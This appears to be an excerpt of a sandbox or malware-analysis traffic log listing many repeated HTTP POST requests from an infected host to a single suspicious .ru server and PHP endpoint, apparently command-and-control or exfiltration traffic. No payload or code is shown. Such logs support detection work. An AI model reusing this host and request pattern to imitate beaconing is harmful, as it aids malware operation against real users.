Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1044Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1300Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1044Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1044Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1316Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
